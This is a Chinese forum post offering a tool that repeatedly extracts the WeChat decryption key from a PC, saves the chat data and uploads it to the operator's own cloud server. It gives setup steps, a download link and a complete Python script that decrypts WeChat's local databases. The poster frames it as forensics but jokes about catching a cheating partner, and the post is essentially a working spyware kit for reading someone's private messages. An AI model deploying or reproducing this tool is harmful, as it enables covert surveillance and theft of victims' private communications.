本帖最后由 pap 于 2023-5-11 14:22 编辑
本文仅用于技术讨论,切勿用于违法途径,后果自负!
本文仅用于技术讨论,切勿用于违法途径,后果自负!
本文仅用于技术讨论,切勿用于违法途径,后果自负!
重要的事情说三遍
前言#
在取证过程中,对微信本地数据库的提取是非常重要的工作。当然取证的内容可能不能作为法律依据,但是可以让你获得一些情报【绿帽】
程序仅供测试使用,为防止用于违法途径,已在电脑图标栏留了图标和标题
原理讲解
微信聊天记录储存在本地文件夹中,但是被加密了,需要微信key来解密、
我们的工具就是循环获取微信Key 10秒钟获取一次,当获取微信的密钥时候,
拿Key解密微信本地存储的DB文件即可获取聊天记录
程序说明
你需要一台服务器搭建后端,服务器用于搭建后端 设置软件是否开始获取微信KEY等信息
和把数据上传到云端
因为软件10秒钟获取一次微信数据并保存到C盘根目录Westcity.txt 中 和 C盘根目录文件夹备份文件中 并上传云端API,所以在后端设置了一个开关功能
搭建教程
1.在服务器搭建后端API,上传直接就可以使用,没做什么限制,仅限自己测试使用
2.将程序【API.txt/备份文件/WXTZ.exe/Westcity.exe】全部放到c盘根目录,将API.txt文件内接口改为自己的域名
3.运行后在网站后台设置是否开始获取后运行WXTZ.exe
解密数据库[获取到Key后解密Db文件,我自己用的那个解密文件就不给你们发了,因为我不确定是否存在后门,给你们一个网络上的python开源脚本]
打开微信数据文件所在的目录,例如我的是 D:\Documents\WeChat Files\wxid_r5xxxxxxxxxx12\Msg,将这里面的所有.db文件复制到一个新的文件夹中(别忘了Multi文件夹中还有一些),然后可以通过下面的 Python 脚本进行解密(在前两行输入好你的文件所在目录):
<--代码开始
[Python] 纯文本查看 复制代码 input_pass = '解密密钥'
input_dir = r'D:\微信数据库文件'
import ctypes
import hashlib
import hmac
from pathlib import Path
from Crypto.Cipher import AES
SQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)
IV_SIZE = 16
HMAC_SHA1_SIZE = 20
KEY_SIZE = 32
DEFAULT_PAGESIZE = 4096
DEFAULT_ITER = 64000
password = bytes.fromhex(input_pass.replace(' ', ''))
def decode_one(input_file):
input_file = Path(input_file)
with open(input_file, 'rb') as (f):
blist = f.read()
print(len(blist))
salt = blist[:16]
key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)
first = blist[16:DEFAULT_PAGESIZE]
mac_salt = bytes([x ^ 58 for x in salt])
mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)
hash_mac = hmac.new(mac_key, digestmod='sha1')
hash_mac.update(first[:-32])
hash_mac.update(bytes(ctypes.c_int(1)))
if hash_mac.digest() == first[-32:-12]:
print('Decryption Success')
else:
print('Password Error')
blist = [
blist[i:i + DEFAULT_PAGESIZE]
for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)
]
with open(input_file.parent / f'decoded_{input_file.name}', 'wb') as (f):
f.write(SQLITE_FILE_HEADER)
t = AES.new(key, AES.MODE_CBC, first[-48:-32])
f.write(t.decrypt(first[:-48]))
f.write(first[-48:])
for i in blist:
t = AES.new(key, AES.MODE_CBC, i[-48:-32])
f.write(t.decrypt(i[:-48]))
f.write(i[-48:])
if __name__ == '__main__':
input_dir = Path(input_dir)
for f in input_dir.glob('*.db'):
decode_one(f)
代码结束-->
这个脚本可以将你设置的目录下的所有.db文件进行解密,例如对于abc.db,会生成decoded_abc.db文件。特别说明的是,如果复制出来后你的Multi文件夹还是独立的一个文件夹,需要分别对D:\微信数据库文件操作和D:\微信数据库文件\Multi进行操作。另外,xinfo.db无需解密,可直接查看。解密后,你就可以通过任意一个你喜欢的数据库可视化查看工具查看这些数据库了。
获取成功C盘文件夹和云端展示
下载链接:https://pan.baidu.com/s/15G07hBJvcTwwuE-4O9jZJQ?pwd=frwd 提取码:frwd |